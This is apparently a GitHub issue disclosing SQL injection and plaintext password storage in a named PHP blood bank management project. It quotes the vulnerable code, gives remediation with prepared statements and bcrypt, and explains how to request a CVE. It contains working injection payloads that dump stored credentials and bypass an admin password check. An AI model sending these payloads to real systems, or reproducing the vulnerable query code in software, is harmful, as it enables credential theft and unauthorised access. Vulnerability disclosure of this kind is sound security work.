[SECURITY] Multiple SQL Injection Vulnerabilities + Plaintext Password Storage (CVE Candidate)

[abdurazzoqovjavohir700-dev]

Security Vulnerability Report: SQL Injection + Plaintext Password Storage

Severity: Critical (CVSS v3.1: 9.8)
CWE: CWE-89 (SQL Injection), CWE-256 (Plaintext Password Storage)
Affected Repository: sarin32/Blood-Bank-Management-System-DBMS

---

Vulnerability 1: SQL Injection in Search Person

File: searchPerson.php

Vulnerable Code:

$pid = $_POST['pid'];
$sql = "select * from Person where p_id = '$pid'";
$result = mysqli_query($con, $sql);

The $pid parameter is taken directly from POST input with no sanitization whatsoever.

Proof of Concept:

POST /searchPerson.php

pid=1' UNION SELECT 1,username,password,4,5,6,7 FROM User-- -

Result: Dumps all usernames and passwords from the User table.

---

Vulnerability 2: SQL Injection in Add Person

File: addPerson.php

Vulnerable Code:

$name = $_POST['name'];
$phone = $_POST['phone'];
$gender = $_POST['gender'];
$dob = $_POST['dob'];
$blood_group = $_POST['blood_group'];
$address = $_POST['address'];
$med_issues = $_POST['med_issues'];

$sql = "insert into Person (p_name,p_phone, p_dob, p_address, p_gender, p_blood_group, p_med_issues)
        values('$name', '$phone', '$dob', '$address', '$gender', '$blood_group', '$med_issues')";

All 7 POST parameters are unsanitized and directly concatenated into the INSERT query.

---

Vulnerability 3: SQL Injection in Add User

File: addUser.php

Vulnerable Code:

$super_pwd = $_POST['super_pwd'];
$usr_name = $_POST['usr_name'];

$sql = "select * from User where username = 'SuperAdmin' and password = '$super_pwd'";
// ...
$sql = "select * from User where username = '$usr_name'";

Both $super_pwd and $usr_name are unsanitized. An attacker can bypass the SuperAdmin password check.

Proof of Concept (SuperAdmin bypass):

POST /addUser.php

super_pwd=' OR '1'='1&usr_name=hacker&usr_pwd=hacker123&usr_cnfrm_pwd=hacker123

Result: New admin user created without knowing the SuperAdmin password.

---

Vulnerability 4: Plaintext Password Storage

File: login.php

Vulnerable Code:

$sql = "select * from user where username = '$username' and password = '$password'";

Passwords are stored and compared in plaintext (no hashing). If the database is compromised via SQL injection, all user passwords are immediately exposed.

The code comment itself acknowledges the issue:

// prevents little sql injection possibilities(not prevented fully)
$username = stripcslashes($_POST['user']);
$username = mysqli_real_escape_string($con, $username);
$password = stripcslashes($_POST['pass']);
$password = mysqli_real_escape_string($con, $password);

Note: stripcslashes() is not a security function and provides no protection.

Impact

Vulnerability	Severity	Impact
searchPerson.php SQLi	Critical	Full database extraction
addPerson.php SQLi	Critical	Data manipulation, DB extraction
addUser.php SQLi	Critical	Unauthorized admin account creation
Plaintext passwords	High	All user passwords exposed on breach

---

Remediation

1. Use Prepared Statements for all queries:

// VULNERABLE:
$pid = $_POST['pid'];
$sql = "select * from Person where p_id = '$pid'";

// SECURE:
$stmt = $con->prepare("SELECT * FROM Person WHERE p_id = ?");
$stmt->bind_param("s", $pid);
$stmt->execute();
$result = $stmt->get_result();

2. Hash passwords with bcrypt:

// When storing password:
$hashed = password_hash($password, PASSWORD_BCRYPT);

// When verifying:
if (password_verify($input_password, $stored_hash)) {
    // login success
}

Hi @maintainer 👋

Thank you for your open-source contribution! I wanted to follow up on this security report.

Fastest path to get an official CVE number (2–5 days):

GitHub is an official CVE Numbering Authority (CNA) — meaning you can get a CVE assigned directly through GitHub without going through MITRE (which takes 2–4 weeks).

Steps:

1. Go to your repo → Settings → Security → Advisories
2. Click "New draft security advisory"
3. Fill in the details from this issue (I'm happy to help with the wording)
4. Click "Request CVE" — GitHub will assign a CVE number within a few days

This also gives proper credit to both the reporter and your project in the official CVE database.

Please let me know if you have any questions — I can provide any additional technical details needed for the advisory.
